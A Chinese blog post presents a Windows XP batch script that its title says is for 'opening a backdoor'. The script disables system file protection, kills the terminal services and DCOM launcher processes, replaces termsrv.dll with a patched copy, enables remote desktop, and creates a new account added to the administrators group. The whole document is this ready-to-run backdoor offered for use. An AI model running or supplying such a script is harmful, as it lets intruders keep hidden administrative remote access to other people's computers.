xp开启双用户远程桌面批处理,开后门时用

来源:互联网 发布:淘宝怎么修改店铺名 编辑:程序博客网 时间:2024/05/17 04:25
闲着无聊,写个批处理,以备不时之需

set Loginame="Loginame"
set Password="password"
set Dll2055Path=""

set KeyPath1="HKLM/SYSTEM/CurrentControlSet/Control/Terminal Server/Licensing Core"
reg add %KeyPath1% /v EnableConcurrentSessions /T REG_DWORD /D 1 /f

set KeyPath2="HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon"
reg add %KeyPath2% /v SFCDisable /T REG_DWORD /D 4294967197 /f

set KeyPath3="HKLM/SYSTEM/CurrentControlSet/Control/Terminal Server"
reg add %KeyPath3% /v fDenyTSConnections /T REG_DWORD /D 0 /f

sc failure DcomLaunch reset= 0 actions= 0
sc failure TermService reset= 0 actions= 0
taskkill /f /fi "services eq DcomLaunch"
taskkill /f /fi "services eq TermService"
shutdown /a

sfc /PURGECACHE
copy /y %Dll2055Path%/termsrv.dll %systemroot%/system32/termsrv.dll

net users %Loginame% /del
net users %Loginame% %Password% /add
net localgroup administrators /add %Loginame%

net start TermService
原创粉丝点击